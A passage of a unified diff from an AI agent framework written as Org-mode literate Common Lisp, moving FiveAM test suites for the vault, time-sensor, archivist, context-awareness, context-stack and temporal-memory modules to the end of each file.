"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
|
||||
(let ((test-provider :vault-secret-test))
|
||||
(vault-set-secret test-provider "my-token")
|
||||
(is (string= "my-token" (vault-get-secret test-provider)))
|
||||
;; Clean up
|
||||
(vault-set-secret test-provider nil)))
|
||||
|
||||
(test test-vault-type-isolation
|
||||
"Contract 5: different :type values produce different keys."
|
||||
(vault-set :vault-type-test "key-value" :type :api-key)
|
||||
(vault-set :vault-type-test "secret-value" :type :secret)
|
||||
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
|
||||
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
|
||||
(vault-set :vault-type-test nil :type :api-key)
|
||||
(vault-set :vault-type-test nil :type :secret))
|
||||
#+end_src
|
||||
@@ -26,77 +26,6 @@ All pure Lisp, 0 LLM tokens for temporal awareness.
|
||||
~:SCHEDULED~ properties. If any are within ~DEADLINE_WARNING_MINUTES~,
|
||||
returns a formatted deadline note string. Returns nil otherwise.
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-sensor-time-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:sensor-time-suite))
|
||||
|
||||
(in-package :passepartout-sensor-time-tests)
|
||||
|
||||
(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
|
||||
(in-suite sensor-time-suite)
|
||||
|
||||
(test test-format-time-for-llm-includes-year
|
||||
"Contract 1: format-time-for-llm returns a string with the current year."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "202" result))
|
||||
(is (search "TIME" result))))
|
||||
|
||||
(test test-format-time-for-llm-utc
|
||||
"Contract 1: iso format includes Z suffix."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "Z" result))))
|
||||
|
||||
(test test-format-time-for-llm-natural
|
||||
"Contract 1: natural format produces human-readable date."
|
||||
(let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "TIME_FORMAT") "natural")
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "UTC" result))))
|
||||
(setf (uiop:getenv "TIME_FORMAT") old-env))))
|
||||
|
||||
(test test-format-time-for-llm-with-session
|
||||
"Contract 1: with session duration, includes session info."
|
||||
(let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
|
||||
(is (search "1h 2m" result))))
|
||||
|
||||
(test test-session-duration
|
||||
"Contract 2: session-duration returns a positive number after init."
|
||||
(passepartout::sensor-time-initialize)
|
||||
(let ((dur (passepartout::session-duration)))
|
||||
(is (numberp dur))
|
||||
(is (>= dur 0))))
|
||||
|
||||
(test test-sensor-time-tick-empty
|
||||
"Contract 3: sensor-time-tick returns nil when no deadlines are near."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-sensor-time-tick-detects-deadline
|
||||
"Contract 3: sensor-time-tick detects a deadline close in time."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*deadline-warning-minutes* 120)
|
||||
(let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago
|
||||
(ingest-ast (list :type :HEADLINE
|
||||
:properties (list :ID "deadline-test"
|
||||
:TITLE "Submit report"
|
||||
:DEADLINE (write-to-string near-future-time))
|
||||
:contents nil)))
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (not (null result)))
|
||||
(is (search "Submit report" result))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package context
|
||||
@@ -216,3 +145,73 @@ Called by the time-tick cron job every minute."
|
||||
(sensor-time-initialize)
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-sensor-time-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:sensor-time-suite))
|
||||
|
||||
(in-package :passepartout-sensor-time-tests)
|
||||
|
||||
(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
|
||||
(in-suite sensor-time-suite)
|
||||
|
||||
(test test-format-time-for-llm-includes-year
|
||||
"Contract 1: format-time-for-llm returns a string with the current year."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "202" result))
|
||||
(is (search "TIME" result))))
|
||||
|
||||
(test test-format-time-for-llm-utc
|
||||
"Contract 1: iso format includes Z suffix."
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "Z" result))))
|
||||
|
||||
(test test-format-time-for-llm-natural
|
||||
"Contract 1: natural format produces human-readable date."
|
||||
(let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "TIME_FORMAT") "natural")
|
||||
(let ((result (passepartout::format-time-for-llm)))
|
||||
(is (stringp result))
|
||||
(is (search "UTC" result))))
|
||||
(setf (uiop:getenv "TIME_FORMAT") old-env))))
|
||||
|
||||
(test test-format-time-for-llm-with-session
|
||||
"Contract 1: with session duration, includes session info."
|
||||
(let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
|
||||
(is (search "1h 2m" result))))
|
||||
|
||||
(test test-session-duration
|
||||
"Contract 2: session-duration returns a positive number after init."
|
||||
(passepartout::sensor-time-initialize)
|
||||
(let ((dur (passepartout::session-duration)))
|
||||
(is (numberp dur))
|
||||
(is (>= dur 0))))
|
||||
|
||||
(test test-sensor-time-tick-empty
|
||||
"Contract 3: sensor-time-tick returns nil when no deadlines are near."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-sensor-time-tick-detects-deadline
|
||||
"Contract 3: sensor-time-tick detects a deadline close in time."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*deadline-warning-minutes* 120)
|
||||
(let ((near-future-time (- (get-universal-time) 60))) ; 1 minute ago
|
||||
(ingest-ast (list :type :HEADLINE
|
||||
:properties (list :ID "deadline-test"
|
||||
:TITLE "Submit report"
|
||||
:DEADLINE (write-to-string near-future-time))
|
||||
:contents nil)))
|
||||
(let ((result (passepartout::sensor-time-tick)))
|
||||
(is (not (null result)))
|
||||
(is (search "Submit report" result))))
|
||||
#+end_src
|
||||
@@ -27,48 +27,6 @@ events, performing two core functions:
|
||||
5. (archivist-gardener-scan): heartbeat-driven — scans for broken
|
||||
file links and orphaned memory objects.
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-symbolic-archivist-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:archivist-suite))
|
||||
|
||||
(in-package :passepartout-symbolic-archivist-tests)
|
||||
|
||||
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
|
||||
(fiveam:in-suite archivist-suite)
|
||||
|
||||
(fiveam:test test-extract-headlines
|
||||
"Contract 1: archivist-extract-headlines parses Org content."
|
||||
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
|
||||
(headlines (archivist-extract-headlines content)))
|
||||
(fiveam:is (listp headlines))
|
||||
(fiveam:is (>= (length headlines) 1))))
|
||||
|
||||
(fiveam:test test-headline-to-filename
|
||||
"Contract 2: archivist-headline-to-filename sanitizes titles."
|
||||
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
|
||||
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
|
||||
(fiveam:is (not (search ":" filename)))))
|
||||
|
||||
(fiveam:test test-archivist-create-note
|
||||
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
|
||||
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
|
||||
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
|
||||
"Expected note creation to return T")
|
||||
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
|
||||
"Expected file test_note.org to exist"))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -380,3 +338,44 @@ and dispatches as needed. Called by the deterministic gate."
|
||||
:deterministic #'archivist-run)
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-symbolic-archivist-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:archivist-suite))
|
||||
|
||||
(in-package :passepartout-symbolic-archivist-tests)
|
||||
|
||||
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
|
||||
(fiveam:in-suite archivist-suite)
|
||||
|
||||
(fiveam:test test-extract-headlines
|
||||
"Contract 1: archivist-extract-headlines parses Org content."
|
||||
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
|
||||
(headlines (archivist-extract-headlines content)))
|
||||
(fiveam:is (listp headlines))
|
||||
(fiveam:is (>= (length headlines) 1))))
|
||||
|
||||
(fiveam:test test-headline-to-filename
|
||||
"Contract 2: archivist-headline-to-filename sanitizes titles."
|
||||
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
|
||||
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
|
||||
(fiveam:is (not (search ":" filename)))))
|
||||
|
||||
(fiveam:test test-archivist-create-note
|
||||
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
|
||||
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
|
||||
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
|
||||
"Expected note creation to return T")
|
||||
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
|
||||
"Expected file test_note.org to exist"))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
#+end_src
|
||||
@@ -41,77 +41,6 @@ The effectiveness of this depends on the embedding backend. The default ~:trigra
|
||||
2. (context-assemble-global-awareness): zero-arg wrapper — calls
|
||||
~context-awareness-assemble~ without foveal focus.
|
||||
|
||||
* Test Suite
|
||||
Verifies that the Foveal-Peripheral rendering correctly distinguishes between foveal (detailed) and peripheral (outline) content, and that the awareness budget includes all active projects.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-peripheral-vision-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vision-suite))
|
||||
(in-package :passepartout-peripheral-vision-tests)
|
||||
|
||||
(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
|
||||
(in-suite vision-suite)
|
||||
|
||||
(test test-foveal-rendering
|
||||
"Contract 1: foveal content inline, peripheral content title-only."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
|
||||
:raw-content "FOVEAL CONTENT" :contents nil)
|
||||
(:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
|
||||
:raw-content "PERIPHERAL CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
|
||||
(is (search "FOVEAL CONTENT" output))
|
||||
(is (search "* Peripheral Node" output))
|
||||
(is (not (search "PERIPHERAL CONTENT" output))))))
|
||||
|
||||
(test test-awareness-budget
|
||||
"Contract 1: all active projects appear in awareness output."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (search "Project 1" output))
|
||||
(is (search "Project 2" output))))
|
||||
|
||||
(test test-context-empty-memory
|
||||
"Contract 1: empty memory produces clean output without error."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (stringp output))
|
||||
(is (search "MEMEX" output :test #'char-equal))))
|
||||
|
||||
(test test-context-no-foveal-focus
|
||||
"Contract 2: without foveal focus, no inline content appears."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
|
||||
:raw-content "CHILD CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble nil)))
|
||||
(is (stringp output))
|
||||
(is (not (search "CHILD CONTENT" output))))))
|
||||
|
||||
(test test-semantic-retrieval-trigram
|
||||
"Contract v0.4.0: trigram backend produces non-zero similarity for related content."
|
||||
(let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
|
||||
(v2 (passepartout::embedding-backend-trigram "add password authentication")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v1 v2)))
|
||||
(is (> sim 0.0))))
|
||||
(let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
|
||||
(v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v3 v4)))
|
||||
(is (> sim 0.75))))
|
||||
(let ((v5 (passepartout::embedding-backend-trigram "authentication"))
|
||||
(v6 (passepartout::embedding-backend-trigram "banana")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v5 v6)))
|
||||
(is (< sim 0.3)))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -382,3 +311,73 @@ to ~context-awareness-assemble~.
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
Verifies that the Foveal-Peripheral rendering correctly distinguishes between foveal (detailed) and peripheral (outline) content, and that the awareness budget includes all active projects.
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-peripheral-vision-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vision-suite))
|
||||
(in-package :passepartout-peripheral-vision-tests)
|
||||
|
||||
(def-suite vision-suite :description "Verification of Foveal-Peripheral context model.")
|
||||
(in-suite vision-suite)
|
||||
|
||||
(test test-foveal-rendering
|
||||
"Contract 1: foveal content inline, peripheral content title-only."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "proj-root" :TITLE "Project" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "node-foveal" :TITLE "Foveal Node")
|
||||
:raw-content "FOVEAL CONTENT" :contents nil)
|
||||
(:type :HEADLINE :properties (:ID "node-peripheral" :TITLE "Peripheral Node")
|
||||
:raw-content "PERIPHERAL CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble (list :foveal-focus "node-foveal"))))
|
||||
(is (search "FOVEAL CONTENT" output))
|
||||
(is (search "* Peripheral Node" output))
|
||||
(is (not (search "PERIPHERAL CONTENT" output))))))
|
||||
|
||||
(test test-awareness-budget
|
||||
"Contract 1: all active projects appear in awareness output."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p1" :TITLE "Project 1" :TAGS ("project")) :contents nil))
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "p2" :TITLE "Project 2" :TAGS ("project")) :contents nil))
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (search "Project 1" output))
|
||||
(is (search "Project 2" output))))
|
||||
|
||||
(test test-context-empty-memory
|
||||
"Contract 1: empty memory produces clean output without error."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((output (context-awareness-assemble)))
|
||||
(is (stringp output))
|
||||
(is (search "MEMEX" output :test #'char-equal))))
|
||||
|
||||
(test test-context-no-foveal-focus
|
||||
"Contract 2: without foveal focus, no inline content appears."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast '(:type :HEADLINE :properties (:ID "root" :TITLE "Root" :TAGS ("project"))
|
||||
:contents ((:type :HEADLINE :properties (:ID "child" :TITLE "Child Node")
|
||||
:raw-content "CHILD CONTENT" :contents nil)))))
|
||||
(ingest-ast ast)
|
||||
(let ((output (context-awareness-assemble nil)))
|
||||
(is (stringp output))
|
||||
(is (not (search "CHILD CONTENT" output))))))
|
||||
|
||||
(test test-semantic-retrieval-trigram
|
||||
"Contract v0.4.0: trigram backend produces non-zero similarity for related content."
|
||||
(let ((v1 (passepartout::embedding-backend-trigram "implement user login form"))
|
||||
(v2 (passepartout::embedding-backend-trigram "add password authentication")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v1 v2)))
|
||||
(is (> sim 0.0))))
|
||||
(let ((v3 (passepartout::embedding-backend-trigram "authentication login form handler module"))
|
||||
(v4 (passepartout::embedding-backend-trigram "authentication login form handler fix")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v3 v4)))
|
||||
(is (> sim 0.75))))
|
||||
(let ((v5 (passepartout::embedding-backend-trigram "authentication"))
|
||||
(v6 (passepartout::embedding-backend-trigram "banana")))
|
||||
(let ((sim (passepartout::vector-cosine-similarity v5 v6)))
|
||||
(is (< sim 0.3)))))
|
||||
#+end_src
|
||||
@@ -36,51 +36,6 @@ scope means for each project, and how the stack is managed.
|
||||
14. (context-save): persists the context stack to disk.
|
||||
15. (context-load): restores the context stack from disk on startup.
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-context-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:context-suite))
|
||||
|
||||
(in-package :passepartout-context-tests)
|
||||
|
||||
(fiveam:def-suite context-suite :description "Context manager verification")
|
||||
(fiveam:in-suite context-suite)
|
||||
|
||||
(fiveam:test test-push-pop-context
|
||||
"Contract 1-2: push-context and pop-context maintain stack order."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when stack-var
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(push-context :project "testapp" :base-path "/tmp" :scope :project)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
|
||||
(pop-context)
|
||||
(fiveam:is (null (symbol-value stack-var))))))
|
||||
|
||||
(fiveam:test test-context-save-load
|
||||
"Contract 3-4: context-save and context-load round-trip."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when (and stack-var pf-var)
|
||||
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
|
||||
(setf (symbol-value pf-var) tmpfile)
|
||||
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
|
||||
(context-save)
|
||||
(fiveam:is (probe-file tmpfile))
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(context-load)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
|
||||
(ignore-errors (delete-file tmpfile))))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Context Stack
|
||||
@@ -356,11 +311,53 @@ Also restores any previously saved context stack.
|
||||
(context-load)
|
||||
#+end_src
|
||||
|
||||
* Contract
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-context-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:context-suite))
|
||||
|
||||
(in-package :passepartout-context-tests)
|
||||
|
||||
(fiveam:def-suite context-suite :description "Context manager verification")
|
||||
(fiveam:in-suite context-suite)
|
||||
|
||||
(fiveam:test test-push-pop-context
|
||||
"Contract 1-2: push-context and pop-context maintain stack order."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when stack-var
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(push-context :project "testapp" :base-path "/tmp" :scope :project)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
|
||||
(pop-context)
|
||||
(fiveam:is (null (symbol-value stack-var))))))
|
||||
|
||||
(fiveam:test test-context-save-load
|
||||
"Contract 3-4: context-save and context-load round-trip."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when (and stack-var pf-var)
|
||||
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
|
||||
(setf (symbol-value pf-var) tmpfile)
|
||||
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
|
||||
(context-save)
|
||||
(fiveam:is (probe-file tmpfile))
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(context-load)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
|
||||
(ignore-errors (delete-file tmpfile))))))
|
||||
#+end_src* Contract
|
||||
|
||||
1. (push-context &key project base-path scope): pushes a context plist
|
||||
onto ~*context-stack*~ and persists to disk.
|
||||
2. (pop-context): pops the top context, persists, returns restored context.
|
||||
3. (context-save): serializes ~*context-stack*~ to the persistence file.
|
||||
4. (context-load): restores ~*context-stack*~ from persistence file on boot.
|
||||
|
||||
4. (context-load): restores ~*context-stack*~ from persistence file on boot.
|
||||
@@ -24,59 +24,6 @@ tokens. ~90% token reduction on time-scoped memory queries.
|
||||
~context-query~ with temporal filtering. Falls back to ~context-query~ for
|
||||
non-time-scoped queries.
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-time-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:time-memory-suite))
|
||||
|
||||
(in-package :passepartout-time-memory-tests)
|
||||
|
||||
(def-suite time-memory-suite :description "Temporal memory filtering")
|
||||
(in-suite time-memory-suite)
|
||||
|
||||
(test test-memory-objects-since
|
||||
"Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
|
||||
(let ((since-t1 (passepartout::memory-objects-since t1)))
|
||||
(is (= 2 (length since-t1)))
|
||||
(let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
|
||||
(is (string= "time-c" (first ids)))
|
||||
(is (string= "time-d" (second ids))))
|
||||
(let ((since-t0 (passepartout::memory-objects-since t0)))
|
||||
(is (= 4 (length since-t0))))))))
|
||||
|
||||
(test test-memory-objects-in-range
|
||||
"Contract 2: ingest nodes, verify range query returns correct subset."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t2 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
|
||||
(let ((range (passepartout::memory-objects-in-range t1 t2)))
|
||||
(is (= 1 (length range)))
|
||||
(is (string= "rng-2" (memory-object-id (first range)))))))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package context
|
||||
@@ -155,3 +102,55 @@ Falls back to context-query if temporal filtering is not requested."
|
||||
(subseq todo-filtered 0 (min max-results (length todo-filtered))))))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-time-memory-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:time-memory-suite))
|
||||
|
||||
(in-package :passepartout-time-memory-tests)
|
||||
|
||||
(def-suite time-memory-suite :description "Temporal memory filtering")
|
||||
(in-suite time-memory-suite)
|
||||
|
||||
(test test-memory-objects-since
|
||||
"Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
|
||||
(let ((since-t1 (passepartout::memory-objects-since t1)))
|
||||
(is (= 2 (length since-t1)))
|
||||
(let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
|
||||
(is (string= "time-c" (first ids)))
|
||||
(is (string= "time-d" (second ids))))
|
||||
(let ((since-t0 (passepartout::memory-objects-since t0)))
|
||||
(is (= 4 (length since-t0))))))))
|
||||
|
||||
(test test-memory-objects-in-range
|
||||
"Contract 2: ingest nodes, verify range query returns correct subset."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((t0 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t1 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
|
||||
(sleep 1)
|
||||
(let ((t2 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
|
||||
(let ((range (passepartout::memory-objects-in-range t1 t2)))
|
||||
(is (= 1 (length range)))
|
||||
(is (string= "rng-2" (memory-object-id (first range)))))))))
|
||||
#+end_src
|
||||
@@ -62,108 +62,6 @@ token-economics is not loaded.
|
||||
Returns nil when no context cache data is available. Consumed by
|
||||
the TUI actuator for the sidebar Context gauge (v0.8.0).
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
